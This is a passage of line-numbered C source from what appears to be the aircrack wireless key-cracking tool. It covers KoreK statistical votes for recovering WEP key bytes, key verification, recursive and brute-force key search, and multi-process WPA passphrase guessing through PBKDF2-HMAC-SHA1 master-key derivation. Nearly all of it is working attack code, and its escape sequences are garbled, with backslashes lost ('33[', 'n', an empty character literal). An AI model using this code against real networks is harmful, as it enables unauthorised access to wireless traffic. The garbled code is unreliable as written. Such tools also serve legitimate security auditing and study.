  1025.                     Kq = 1 - dq; votes[A_u13_3][Kq]++;
  1026.                 }
  1027.                 else if( ( S1 >= ( ( -q ) & 0xFF ) )
  1028.                          && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) )
  1029.                 {
  1030.                     Kq = 1 - dq; votes[A_u5_3][Kq]++;
  1031.                 }
  1032.             }
  1034.             if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 )  &&
  1035.                 ( io1 != 1 ) && ( io1 != S[S1] ) )
  1036.             {
  1037.                 Kq = io1 - dq; votes[A_s5_1][Kq]++;
  1038.             }
  1040.             if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) )
  1041.             {
  1042.                 if( o2 == S1 )
  1043.                 {
  1044.                     jq = Si[(S1 - S2) & 0xFF];
  1046.                     if( ( jq != 1 ) && ( jq != 2 ) )
  1047.                     {
  1048.                         Kq = jq - dq; votes[A_s5_2][Kq]++;
  1049.                     }
  1050.                 }
  1051.                 else if( o2 == ( ( 2 - S2 ) & 0xFF ) )
  1052.                 {
  1053.                     jq = io2;
  1055.                     if( ( jq != 1 ) && ( jq != 2 ) )
  1056.                     {
  1057.                         Kq = jq - dq; votes[A_s5_3][Kq]++;
  1058.                     }
  1059.                 }
  1060.             }
  1062.             if( ( S[1] != 2 ) && ( S[2] != 0 ) )
  1063.             {
  1064.                 J2 = S[1] + S[2];
  1066.                 if( J2 < q )
  1067.                 {
  1068.                     t2 = S[J2] + S[2];
  1070.                     if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 )
  1071.                         && ( io2 != J2 ) )
  1072.                     {
  1073.                         Kq = io2 - dq; votes[A_s3][Kq]++;
  1074.                     }
  1075.                 }
  1076.             }
  1078.             if( S1 == 2 )
  1079.             {
  1080.                 if( q == 4 )
  1081.                 {
  1082.                     if( o2 == 0 )
  1083.                     {
  1084.                         Kq = Si[0] - dq; votes[A_4_s13][Kq]++;
  1085.                     }
  1086.                     else
  1087.                     {
  1088.                         if( ( jj[1] == 2 ) && ( io2 == 0 ) )
  1089.                         {
  1090.                             Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++;
  1091.                         }
  1092.                         if( ( jj[1] == 2 ) && ( io2 == 2 ) )
  1093.                         {
  1094.                             Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++;
  1095.                         }
  1096.                     }
  1097.                 }
  1098.                 else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) &&
  1099.                          ( io2 != 1 ) && ( io2 != 4 ) )
  1100.                 {
  1101.                     Kq = io2 - dq; votes[A_u5_4][Kq]++;
  1102.                 }
  1103.             }
  1104.         }
  1106.         /* END: KoreK attacks */
  1108.         if( safe_write( cm_pipe[cid][1], votes,
  1109.                 sizeof( votes ) ) != sizeof( votes ) )
  1110.         {
  1111.             perror( "write failed" );
  1112.             kill( 0, SIGTERM );
  1113.             _exit( FAILURE );
  1114.         }
  1115.     }
  1117.     return( 0 );
  1118. }
  1120. /* display the current votes */
  1122. void show_wep_stats( int B, int force )
  1123. {
  1124.     float delta;
  1125.     struct winsize ws;
  1126.     int i, et_h, et_m, et_s;
  1127.     static int is_cleared = 0;
  1129.     if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
  1130.     {
  1131.         ws.ws_row = 25;
  1132.         ws.ws_col = 80;
  1133.     }
  1135.     if( chrono( &t_stats, 0 ) < 0.1 && force == 0 )
  1136.         return;
  1138.     chrono( &t_stats, 1 );
  1140.     delta = chrono( &t_begin, 0 );
  1142.     et_h =   delta / 3600;
  1143.     et_m = ( delta - et_h * 3600 ) / 60;
  1144.     et_s =   delta - et_h * 3600 - et_m * 60;
  1146.     if( is_cleared == 0 )
  1147.     {
  1148.         is_cleared++;
  1150.         if( opt.l33t )
  1151.             printf( "33[40m" );
  1153.         printf( "33[2J" );
  1154.     }
  1156.     if( opt.l33t )
  1157.         printf( "33[34;1m" );
  1159.     printf( "33[2;%dHaircrack %d.%dnn", (ws.ws_col - 12) / 2,
  1160.             _MAJ, _MIN );
  1162.     if( opt.l33t )
  1163.         printf( "33[33;1m" );
  1165.     printf( "33[5;%dH[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)33[K",
  1166.             (ws.ws_col - 44) / 2, et_h, et_m, et_s, nb_tried, wep.nb_ivs_now );
  1168.     if( opt.l33t )
  1169.         printf( "33[32;22m" );
  1171.     printf( "33[7;4HKB    depth   byte(vote)n" );
  1173.     for( i = 0; i <= B; i++ )
  1174.     {
  1175.         int j, k = ( ws.ws_col - 20 ) / 9;
  1177.         if( opt.l33t )
  1178.             printf( "   %2d  33[1m%3d33[22m/%3d   ",
  1179.                     i, wep.depth[i], wep.fudge[i] );
  1180.         else
  1181.             printf( "   %2d  %3d/%3d   ",
  1182.                     i, wep.depth[i], wep.fudge[i] );
  1184.         for( j = wep.depth[i]; j < k + wep.depth[i]; j++ )
  1185.         {
  1186.             if( j >= 256 ) break;
  1188.             if( wep.poll[i][j].val == 32767 )
  1189.             {
  1190.                 if( opt.l33t )
  1191.                     printf( "33[1m%02X33[22m(+inf) ",
  1192.                             wep.poll[i][j].idx );
  1193.                 else
  1194.                     printf( "%02X(+inf) ", wep.poll[i][j].idx );
  1195.             }
  1196.             else
  1197.             {
  1198.                 if( opt.l33t )
  1199.                     printf( "33[1m%02X33[22m(%4d) ",
  1200.                             wep.poll[i][j].idx,
  1201.                             wep.poll[i][j].val );
  1202.                 else
  1203.                     printf( "%02X(%4d) ",  wep.poll[i][j].idx,
  1204.                                            wep.poll[i][j].val );
  1205.             }
  1206.         }
  1208.         printf( "n" );
  1209.     }
  1211.     if( B < opt.keylen - 1 )
  1212.         printf( "33[J" );
  1214.     printf( "n" );
  1215. }
  1217. /* test if the current WEP key is valid */
  1219. int check_wep_key( int B )
  1220. {
  1221.     uchar K[64];
  1222.     uchar S[256];
  1223.     uchar R[256];
  1224.     uchar x1, x2;
  1225.     unsigned long xv;
  1226.     int i, j, n, bad;
  1227.     int nb_ascii;
  1229.     nb_tried++;
  1230.     bad = 0;
  1232.     memcpy( K + 3, wep.key, opt.keylen );
  1234.     for( i = 0; i < 256; i++ )
  1235.         R[i] = i;
  1237.     for( n = 0; n < 32; n++ )
  1238.     {
  1239.         xv = 5 * ( rand() % wep.nb_ivs );
  1241.         memcpy( K, &wep.ivbuf[xv], 3 );
  1242.         memcpy( S, R, 256 );
  1244.         for( i = j = 0; i < 256; i++ )
  1245.         {
  1246.             j = ( j + S[i] + K[i % (3 + opt.keylen)]) & 0xFF;
  1247.             SWAP( S[i], S[j] );
  1248.         }
  1250.         i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]);
  1251.         x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF];
  1253.         i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]);
  1254.         x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF];
  1256.         if( ( x1 != 0xAA || x2 != 0xAA ) &&
  1257.             ( x1 != 0xE0 || x2 != 0xE0 ) &&
  1258.             ( x1 != 0x42 || x2 != 0x42 ) )
  1259.             bad++;
  1261.         if( bad > 2 )
  1262.             return( FAILURE );
  1263.     }
  1265.     nb_ascii = 0;
  1267.     for( i = 0; i < opt.keylen; i++ )
  1268.         if(   wep.key[i] == 0 ||
  1269.             ( wep.key[i] >= 32 && wep.key[i] < 127 ) )
  1270.             nb_ascii++;
  1272.     if( opt.is_quiet )
  1273.         printf( "KEY FOUND! [ " );
  1274.     else
  1275.     {
  1276.         show_wep_stats( B - 1, 1 );
  1278.         if( opt.l33t )
  1279.             printf( "33[31;1m" );
  1281.         n = ( 80 - 14 - opt.keylen * 3 ) / 2;
  1283.         if( 100 * nb_ascii > 75 * opt.keylen )
  1284.             n -= ( opt.keylen + 4 ) / 2;
  1286.         if( n <= 0 ) n = 0;
  1288.         printf( "33[K33[%dCKEY FOUND! [ ", n );
  1289.     }
  1291.     for( i = 0; i < opt.keylen - 1; i++ )
  1292.         printf( "%02X:", wep.key[i] );
  1293.     printf( "%02X ] ",   wep.key[i] );
  1295.     if( 100 * nb_ascii > 75 * opt.keylen )
  1296.     {
  1297.         printf( "(" );
  1299.         for( i = 0; i < opt.keylen; i++ )
  1300.             printf( "%c", ( ( wep.key[i] >  31 && wep.key[i] < 127 ) ||
  1301.                               wep.key[i] > 160 ) ? wep.key[i] : '.' );
  1303.         printf( ")" );
  1304.     }
  1306.     if( opt.l33t )
  1307.         printf( "33[32;22m" );
  1309.     printf( "n" );
  1311.     return( SUCCESS );
  1312. }
  1314. /* routine used to sort the votes */
  1316. int cmp_votes( const void *bs1, const void *bs2 )
  1317. {
  1318.     if( ((vote *) bs1)->val < ((vote *) bs2)->val )
  1319.         return(  1 );
  1321.     if( ((vote *) bs1)->val > ((vote *) bs2)->val )
  1322.         return( -1 );
  1324.     return( 0 );
  1325. }
  1327. /* sum up the votes and sort them */
  1329. int calc_poll( int B )
  1330. {
  1331.     int i, n, cid, *vi;
  1332.     int votes[N_ATTACKS][256];
  1334.     /* send the current keybyte # to each thread */
  1336.     for( cid = 0; cid < opt.nbcpu; cid++ )
  1337.     {
  1338.         n = sizeof( int );
  1340.         if( safe_write( mc_pipe[cid][1], &B, n ) != n )
  1341.         {
  1342.             perror( "write failed" );
  1343.             kill( 0, SIGTERM );
  1344.             _exit( FAILURE );
  1345.         }
  1346.     }
  1348.     /* collect the votes, multiply by the korek coeffs */
  1350.     for( i = 0; i < 256; i++ )
  1351.     {
  1352.         wep.poll[B][i].idx = i;
  1353.         wep.poll[B][i].val = 0;
  1354.     }
  1356.     for( cid = 0; cid < opt.nbcpu; cid++ )
  1357.     {
  1358.         n = sizeof( votes );
  1360.         if( safe_read( cm_pipe[cid][0], votes, n ) != n )
  1361.         {
  1362.             perror( "read failed" );
  1363.             kill( 0, SIGTERM );
  1364.             _exit( FAILURE );
  1365.         }
  1367.         for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ )
  1368.             for( i = 0; i < 256; i++, vi++ )
  1369.                 wep.poll[B][i].val += *vi * K_COEFF[n];
  1370.     }
  1372.     /* set votes to the max if the keybyte is user-defined */
  1374.     if( B < opt.debug[0] )
  1375.         wep.poll[B][opt.debug[1 + B]].val = 32767;
  1377.     /* if option is set, restrict keyspace to alpha-numeric */
  1379.     if( opt.is_alnum )
  1380.     {
  1381.         for( i = 1; i < 32; i++ )
  1382.             wep.poll[B][i].val = -1;
  1384.         for( i = 127; i < 256; i++ )
  1385.             wep.poll[B][i].val = -1;
  1386.     }
  1388.     /* if option is set, restrict keyspace to BCD hex digits */
  1390.     if( opt.is_bcdonly )
  1391.     {
  1392.         for( i = 1; i < 256; i++ )
  1393.             if( i > 0x99 || ( i & 0x0F ) > 0x09 )
  1394.                 wep.poll[B][i].val = -1;
  1395.     }
  1397.     /* sort the votes, highest ones first */
  1399.     qsort( wep.poll[B], 256, sizeof( vote ), cmp_votes );
  1401.     return( SUCCESS );
  1402. }
  1404. int update_ivbuf( void )
  1405. {
  1406.     int n;
  1407.     struct AP_info *ap_cur;
  1409.     /* 1st pass: compute the total number of available IVs */
  1411.     wep.nb_ivs_now = 0;
  1412.     wep.nb_aps = 0;
  1413.     ap_cur = ap_1st;
  1415.     while( ap_cur != NULL )
  1416.     {
  1417.         if( ap_cur->crypt == 2 && ap_cur->target )
  1418.         {
  1419.             wep.nb_ivs_now += ap_cur->nb_ivs;
  1420.             wep.nb_aps++;
  1421.         }
  1423.         ap_cur = ap_cur->next;
  1424.     }
  1426.     /* 2nd pass: create the main IVs buffer if necessary */
  1428.     if( wep.nb_ivs == 0 ||
  1429.         ( opt.keylen ==  5 && wep.nb_ivs_now - wep.nb_ivs > 20000 ) ||
  1430.         ( opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000 ) )
  1431.     {
  1432.         /* one buffer to rule them all */
  1434.         if( wep.ivbuf != NULL )
  1435.         {
  1436.             free( wep.ivbuf );
  1437.             wep.ivbuf = NULL;
  1438.         }
  1440.         wep.nb_ivs = 0;
  1442.         ap_cur = ap_1st;
  1444.         while( ap_cur != NULL )
  1445.         {
  1446.             if( ap_cur->crypt == 2 && ap_cur->target )
  1447.             {
  1448.                 n = ap_cur->nb_ivs;
  1450.                 if( ( wep.ivbuf = realloc( wep.ivbuf,
  1451.                         ( wep.nb_ivs + n ) * 5 ) ) == NULL )
  1452.                 {
  1453.                     perror( "realloc failed" );
  1454.                     kill( 0, SIGTERM );
  1455.                     _exit( FAILURE );
  1456.                 }
  1458.                 memcpy( wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n );
  1460.                 wep.nb_ivs += n;
  1461.             }
  1463.             ap_cur = ap_cur->next;
  1464.         }
  1466.         return( RESTART );
  1467.     }
  1469.     return( SUCCESS );
  1470. }
  1472. /* standard attack mode: */
  1473. /* this routine gathers and sorts the votes, then recurses until it *
  1474.  * reaches B == keylen. It also stops when the current keybyte vote *
  1475.  * is lower than the highest vote divided by the fudge factor.      */
  1477. int do_wep_crack1( int B )
  1478. {
  1479.     int i, j;
  1481. get_ivs:
  1483.     switch( update_ivbuf() )
  1484.     {
  1485.         case FAILURE: return( FAILURE );
  1486.         case RESTART: return( RESTART );
  1487.         default: break;
  1488.     }
  1490.     if( ( wep.nb_ivs_now < 256 && opt.debug[0] == 0 ) ||
  1491.         ( wep.nb_ivs_now <  32 && opt.debug[0] != 0 ) )
  1492.     {
  1493.         if( ! opt.no_stdin )
  1494.         {
  1495.             printf(
  1496. "Not enough IVs available. You need about 250.000 IVs to crackn"
  1497. "40-bit WEP, and more than 800.000 IVs to crack a 104-bit key.n" );
  1498.             kill( 0, SIGTERM );
  1499.             _exit( FAILURE );
  1500.         }
  1501.         else
  1502.         {
  1503.             printf( "Read %ld packets, got %ld IVs...r",
  1504.                     nb_pkt, wep.nb_ivs_now );
  1505.             fflush( stdout );
  1507.             sleep( 1 );
  1508.             goto get_ivs;
  1509.         }
  1510.     }
  1512.     /* if last keybyte reached, check if the key is valid */
  1514.     if( B == opt.keylen )
  1515.     {
  1516.         if( ! opt.is_quiet )
  1517.             show_wep_stats( B - 1, 0 );
  1519.         return( check_wep_key( B ) );
  1520.     }
  1522.     /* now compute the poll resultst for keybyte B */
  1524.     if( calc_poll( B ) != SUCCESS )
  1525.         return( FAILURE );
  1527.     /* fudge threshold = higest vote divided by fudge factor */
  1529.     for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ )
  1530.         if( (float) wep.poll[B][wep.fudge[B]].val <
  1531.             (float) wep.poll[B][0].val / opt.ffact )
  1532.             break;
  1534.     /* try the most likely n votes, where n is the fudge threshold */
  1536.     for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ )
  1537.     {
  1538.         switch( update_ivbuf() )
  1539.         {
  1540.             case FAILURE: return( FAILURE );
  1541.             case RESTART: return( RESTART );
  1542.             default: break;
  1543.         }
  1545.         wep.key[B] = wep.poll[B][wep.depth[B]].idx;
  1547.         if( ! opt.is_quiet )
  1548.             show_wep_stats( B, 0 );
  1550.         if( B == 4 && opt.keylen == 13 )
  1551.         {
  1552.             /* even when cracking 104-bit WEP, *
  1553.              * check if the 40-bit key matches */
  1555.             opt.keylen = 5;
  1557.             if( check_wep_key( B ) == SUCCESS )
  1558.                 return( SUCCESS );
  1560.             opt.keylen = 13;
  1561.         }
  1563.         if( B + 3 == opt.keylen && opt.do_brute )
  1564.         {
  1565.             /* as noted by Simon Marechal, it's more efficient
  1566.              * to just bruteforce the last two keybytes. */
  1568.             for( i = 0; i < 256; i++ )
  1569.             {
  1570.                 wep.key[B + 1] = i;
  1572.                 for( j = 0; j < 256; j++ )
  1573.                 {
  1574.                     wep.key[B + 2] = j;
  1576.                     if( check_wep_key( B + 1 ) == SUCCESS )
  1577.                         return( SUCCESS );
  1578.                 }
  1579.             }
  1580.         }
  1581.         else
  1582.         {
  1583.             switch( do_wep_crack1( B + 1 ) )
  1584.             {
  1585.                 case SUCCESS: return( SUCCESS );
  1586.                 case RESTART: return( RESTART );
  1587.                 default: break;
  1588.             }
  1589.         }
  1590.     }
  1592.     return( FAILURE );
  1593. }
  1595. /* experimental single bruteforce attack */
  1597. int do_wep_crack2( int B )
  1598. {
  1599.     int i, j;
  1601.     switch( update_ivbuf() )
  1602.     {
  1603.         case FAILURE: return( FAILURE );
  1604.         case RESTART: return( RESTART );
  1605.         default: break;
  1606.     }
  1608.     if( wep.nb_ivs_now / opt.keylen < 60000 )
  1609.     {
  1610.         printf(
  1611. "Not enough IVs available. This option is only meant to be usedn"
  1612. "if the standard attack method fails with more than %d IVs.n",
  1613.             opt.keylen * 60000 );
  1614.         kill( 0, SIGTERM );
  1615.         _exit( FAILURE );
  1616.     }
  1618.     for( i = 0; i <= B; i++ )
  1619.     {
  1620.         if( calc_poll( i ) != SUCCESS )
  1621.             return( FAILURE );
  1623.         wep.key[i] = wep.poll[i][0].idx;
  1625.         wep.fudge[i] = 1;
  1626.         wep.depth[i] = 0;
  1628.         if( ! opt.is_quiet )
  1629.             show_wep_stats( i, 0 );
  1630.     }
  1632.     for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ )
  1633.         if( (float) wep.poll[B][wep.fudge[B]].val <
  1634.             (float) wep.poll[B][0].val / opt.ffact )
  1635.             break;
  1637.     for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ )
  1638.     {
  1639.         switch( update_ivbuf() )
  1640.         {
  1641.             case FAILURE: return( FAILURE );
  1642.             case RESTART: return( RESTART );
  1643.             default: break;
  1644.         }
  1646.         wep.key[B] = wep.poll[B][wep.depth[B]].idx;
  1648.         if( ! opt.is_quiet )
  1649.             show_wep_stats( B, 0 );
  1651.         for( i = B + 1; i < opt.keylen - 2; i++ )
  1652.         {
  1653.             if( calc_poll( i ) != SUCCESS )
  1654.                 return( FAILURE );
  1656.             wep.key[i] = wep.poll[i][0].idx;
  1658.             wep.fudge[i] = 1;
  1659.             wep.depth[i] = 0;
  1661.             if( ! opt.is_quiet )
  1662.                 show_wep_stats( i, 0 );
  1663.         }
  1665.         for( i = 0; i < 256; i++ )
  1666.         {
  1667.             wep.key[opt.keylen - 2] = i;
  1669.             for( j = 0; j < 256; j++ )
  1670.             {
  1671.                 wep.key[opt.keylen - 1] = j;
  1673.                 if( check_wep_key( opt.keylen - 2 ) == SUCCESS )
  1674.                     return( SUCCESS );
  1675.             }
  1676.         }
  1677.     }
  1679.     return( FAILURE );
  1680. }
  1682. /* derive the PMK from the passphrase and the essid */
  1684. void calc_pmk( char *key, char *essid, uchar pmk[40] )
  1685. {
  1686.     int i, j, slen;
  1687.     uchar buffer[65];
  1688.     sha1_context ctx_ipad;
  1689.     sha1_context ctx_opad;
  1690.     sha1_context sha1_ctx;
  1692.     slen = strlen( essid ) + 4;
  1694.     /* setup the inner and outer contexts */
  1696.     memset( buffer, 0, sizeof( buffer ) );
  1697.     strncpy( (char *) buffer, key, sizeof( buffer ) - 1 );
  1699.     for( i = 0; i < 64; i++ )
  1700.         buffer[i] ^= 0x36;
  1702.     sha1_starts( &ctx_ipad );
  1703.     sha1_update( &ctx_ipad, buffer, 64 );
  1705.     for( i = 0; i < 64; i++ )
  1706.         buffer[i] ^= 0x6A;
  1708.     sha1_starts( &ctx_opad );
  1709.     sha1_update( &ctx_opad, buffer, 64 );
  1711.     /* iterate HMAC-SHA1 over itself 8192 times */
  1713.     essid[slen - 1] = '1';
  1714.     hmac_sha1( (uchar *) key, strlen( key ),
  1715.                (uchar *) essid, slen, pmk );
  1716.     memcpy( buffer, pmk, 20 );
  1718.     for( i = 1; i < 4096; i++ )
  1719.     {
  1720.         memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
  1721.         sha1_update( &sha1_ctx, buffer, 20 );
  1722.         sha1_finish( &sha1_ctx, buffer );
  1724.         memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
  1725.         sha1_update( &sha1_ctx, buffer, 20 );
  1726.         sha1_finish( &sha1_ctx, buffer );
  1728.         for( j = 0; j < 20; j++ )
  1729.             pmk[j] ^= buffer[j];
  1730.     }
  1732.     essid[slen - 1] = '2';
  1733.     hmac_sha1( (uchar *) key, strlen( key ),
  1734.                (uchar *) essid, slen, pmk + 20 );
  1735.     memcpy( buffer, pmk + 20, 20 );
  1737.     for( i = 1; i < 4096; i++ )
  1738.     {
  1739.         memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
  1740.         sha1_update( &sha1_ctx, buffer, 20 );
  1741.         sha1_finish( &sha1_ctx, buffer );
  1743.         memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
  1744.         sha1_update( &sha1_ctx, buffer, 20 );
  1745.         sha1_finish( &sha1_ctx, buffer );
  1747.         for( j = 0; j < 20; j++ )
  1748.             pmk[j + 20] ^= buffer[j];
  1749.     }
  1750. }
  1752. /* each thread computes two pairwise master keys at a time */
  1754. int crack_wpa_thread( void *arg )
  1755. {
  1756.     char  essid[36];
  1757.     char  key1[128], key2[128];
  1758.     uchar pmk1[128], pmk2[128];
  1760. #ifdef __i386__
  1762.     uchar k_ipad[128], ctx_ipad[40];
  1763.     uchar k_opad[128], ctx_opad[40];
  1764.     uchar buffer[128], sha1_ctx[40];
  1765.     uchar wrkbuf[640];
  1766.     uint i, *u, *v, *w;
  1768. #endif
  1770.     int slen, cid = (long) arg;
  1772.     /* receive the essid */
  1774.     memset( essid, 0, sizeof( essid ) );
  1776.     if( safe_read( mc_pipe[cid][0], (void *) essid, 32 ) != 32 )
  1777.     {
  1778.         perror( "read failed" );
  1779.         kill( 0, SIGTERM );
  1780.         _exit( FAILURE );
  1781.     }
  1783.     slen = strlen( essid ) + 4;
  1785.     while( 1 )
  1786.     {
  1787.         /* receive two passphrases */
  1789.         memset( key1, 0, sizeof( key1 ) );
  1790.         memset( key2, 0, sizeof( key2 ) );
  1792.         if( safe_read( mc_pipe[cid][0], (void *) key1, 128 ) != 128 ||
  1793.             safe_read( mc_pipe[cid][0], (void *) key2, 128 ) != 128 )
  1794.         {
  1795.             perror( "read passphrase failed" );
  1796.             kill( 0, SIGTERM );
  1797.             _exit( FAILURE );
  1798.         }
  1800.         key1[127] = '';
  1801.         key2[127] = '';
  1803. #ifdef __i386__
  1805.         /* MMX available, so compute two PMKs in a single row */
  1807.         memset( k_ipad, 0, sizeof( k_ipad ) );
  1808.         memset( k_opad, 0, sizeof( k_opad ) );
  1810.         memcpy( k_ipad, key1, strlen( key1 ) );
  1811.         memcpy( k_opad, key1, strlen( key1 ) );
  1813.         memcpy( k_ipad + 64, key2, strlen( key2 ) );
  1814.         memcpy( k_opad + 64, key2, strlen( key2 ) );
  1816.         u = (uint *) ( k_ipad      );
  1817.         v = (uint *) ( k_ipad + 64 );
  1818.         w = (uint *) buffer;
  1820.         for( i = 0; i < 16; i++ )
  1821.         {
  1822.             /* interleave the data */
  1824.             *w++ = *u++ ^ 0x36363636;
  1825.             *w++ = *v++ ^ 0x36363636;
  1826.         }
  1828.         shammx_init( ctx_ipad );
  1829.         shammx_data( ctx_ipad, buffer, wrkbuf );
  1831.         u = (uint *) ( k_opad      );
  1832.         v = (uint *) ( k_opad + 64 );
  1833.         w = (uint *) buffer;
  1835.         for( i = 0; i < 16; i++ )
  1836.         {
  1837.             *w++ = *u++ ^ 0x5C5C5C5C;
  1838.             *w++ = *v++ ^ 0x5C5C5C5C;
  1839.         }
  1841.         shammx_init( ctx_opad );
  1842.         shammx_data( ctx_opad, buffer, wrkbuf );
  1844.         memset( buffer, 0, sizeof( buffer ) );
  1846.         /* use the buffer, luke */
  1848.         buffer[ 40] = buffer[ 44] = 0x80;
  1849.         buffer[122] = buffer[126] = 0x02;
  1850.         buffer[123] = buffer[127] = 0xA0;
  1852.         essid[slen - 1] = '1';
  1854.         hmac_sha1( (uchar *) key1, strlen( key1 ),
  1855.                    (uchar *) essid, slen,  pmk1 );
  1857.         hmac_sha1( (uchar *) key2, strlen( key2 ),
  1858.                    (uchar *) essid, slen,  pmk2 );
  1860.         u = (uint *) pmk1;
  1861.         v = (uint *) pmk2;
  1862.         w = (uint *) buffer;
  1864.         *w++ = *u++; *w++ = *v++;
  1865.         *w++ = *u++; *w++ = *v++;
  1866.         *w++ = *u++; *w++ = *v++;
  1867.         *w++ = *u++; *w++ = *v++;
  1868.         *w++ = *u++; *w++ = *v++;
  1870.         for( i = 1; i < 4096; i++ )
  1871.         {
  1872.             memcpy( sha1_ctx, ctx_ipad, 40 );
  1873.             shammx_data( sha1_ctx, buffer, wrkbuf );
  1874.             shammx_ends( sha1_ctx, buffer );
  1876.             memcpy( sha1_ctx, ctx_opad, 40 );
  1877.             shammx_data( sha1_ctx, buffer, wrkbuf );
  1878.             shammx_ends( sha1_ctx, buffer );
  1880.             u = (uint *) pmk1;
  1881.             v = (uint *) pmk2;
  1882.             w = (uint *) buffer;
  1884.             /* de-interleave the digests */
  1886.             *u++ ^= *w++; *v++ ^= *w++;
  1887.             *u++ ^= *w++; *v++ ^= *w++;
  1888.             *u++ ^= *w++; *v++ ^= *w++;
  1889.             *u++ ^= *w++; *v++ ^= *w++;
  1890.             *u++ ^= *w++; *v++ ^= *w++;
  1891.         }
  1893.         essid[slen - 1] = '2';
  1895.         hmac_sha1( (uchar *) key1, strlen( key1 ),
  1896.                    (uchar *) essid, slen,  pmk1 + 20 );
  1898.         hmac_sha1( (uchar *) key2, strlen( key2 ),
  1899.                    (uchar *) essid, slen,  pmk2 + 20 );
  1901.         u = (uint *) ( pmk1 + 20 );
  1902.         v = (uint *) ( pmk2 + 20 );
  1903.         w = (uint *) buffer;
  1905.         *w++ = *u++; *w++ = *v++;
  1906.         *w++ = *u++; *w++ = *v++;
  1907.         *w++ = *u++; *w++ = *v++;
  1908.         *w++ = *u++; *w++ = *v++;
  1909.         *w++ = *u++; *w++ = *v++;
  1911.         for( i = 1; i < 4096; i++ )
  1912.         {
  1913.             memcpy( sha1_ctx, ctx_ipad, 40 );
  1914.             shammx_data( sha1_ctx, buffer, wrkbuf );
  1915.             shammx_ends( sha1_ctx, buffer );
  1917.             memcpy( sha1_ctx, ctx_opad, 40 );
  1918.             shammx_data( sha1_ctx, buffer, wrkbuf );
  1919.             shammx_ends( sha1_ctx, buffer );
  1921.             u = (uint *) ( pmk1 + 20 );
  1922.             v = (uint *) ( pmk2 + 20 );
  1923.             w = (uint *) buffer;
  1925.             *u++ ^= *w++; *v++ ^= *w++;
  1926.             *u++ ^= *w++; *v++ ^= *w++;
  1927.             *u++ ^= *w++; *v++ ^= *w++;
  1928.         }
  1930. #else
  1932.         /* not x86, use the generic SHA-1 C code */
  1934.         calc_pmk( key1, essid, pmk1 );
  1935.         calc_pmk( key2, essid, pmk2 );
  1937. #endif
  1939.         /* send the passphrase & master keys */
  1941.         if( safe_write( cm_pipe[cid][1], (void *) key1, 128 ) != 128 ||
  1942.             safe_write( cm_pipe[cid][1], (void *) key2, 128 ) != 128 ||
  1943.             safe_write( cm_pipe[cid][1], (void *) pmk1,  32 ) !=  32 ||
  1944.             safe_write( cm_pipe[cid][1], (void *) pmk2,  32 ) !=  32 )
  1945.         {
  1946.             perror( "write pmk failed" );
  1947.             kill( 0, SIGTERM );
  1948.             _exit( FAILURE );
  1949.         }
  1950.     }
  1951. }
  1953. /* display the current wpa key info, matrix-like */
  1955. void show_wpa_stats( char *key, uchar pmk[32], uchar ptk[64],
  1956.                      uchar mic[16], int force )
  1957. {
  1958.     float delta;
  1959.     int i, et_h, et_m, et_s;
  1960.     char tmpbuf[27];
  1962. #ifdef __i386__
  1963.     __asm__( "emms" );      /* clean up the fp regs */
  1964. #endif
  1966.     if( chrono( &t_stats, 0 ) < 0.08 && force == 0 )
  1967.         return;
  1969.     chrono( &t_stats, 1 );
  1971.     delta = chrono( &t_begin, 0 );
  1973.     et_h =   delta / 3600;
  1974.     et_m = ( delta - et_h * 3600 ) / 60;
  1975.     et_s =   delta - et_h * 3600 - et_m * 60;
  1977.     if( ( delta = chrono( &t_kprev, 0 ) ) >= 6 )
  1978.     {
  1979.         t_kprev.tv_sec += 3;
  1980.         nb_kprev /= 2;
  1981.     }
  1983.     if( opt.l33t ) printf( "33[33;1m" );
  1984.     printf( "33[5;20H[%02d:%02d:%02d] %lld keys tested "
  1985.             "(%2.2f k/s)", et_h, et_m, et_s,
  1986.             nb_tried, (float) nb_kprev / delta );
  1988.     memset( tmpbuf, ' ', sizeof( tmpbuf ) );
  1989.     memcpy( tmpbuf, key, strlen( key ) > 27 ? 27 :
  1990.                          strlen( key ) );
  1991.     tmpbuf[27] = '';
  1993.     if( opt.l33t ) printf( "33[37;1m" );
  1994.     printf( "33[8;24HCurrent passphrase: %sn", tmpbuf );
  1996.     if( opt.l33t ) printf( "33[32;22m" );
  1997.     printf( "33[11;7HMaster Key     : " );
  1999.     if( opt.l33t ) printf( "33[32;1m" );
  2000.     for( i = 0; i < 32; i++ )
  2001.     {
  2002.         if( i == 16 ) printf( "n33[23C" );
  2003.         printf( "%02X ", pmk[i] );
  2004.     }
  2006.     if( opt.l33t ) printf( "33[32;22m" );
  2007.     printf( "33[14;7HTranscient Key : " );
  2009.     if( opt.l33t ) printf( "33[32;1m" );
  2010.     for( i = 0; i < 64; i++ )
  2011.     {
  2012.         if( i > 0 && i % 16 == 0 ) printf( "n33[23C" );
  2013.         printf( "%02X ", ptk[i] );
  2014.     }
  2016.     if( opt.l33t ) printf( "33[32;22m" );
  2017.     printf( "33[19;7HEAPOL HMAC     : " );
  2019.     if( opt.l33t ) printf( "33[32;1m" );
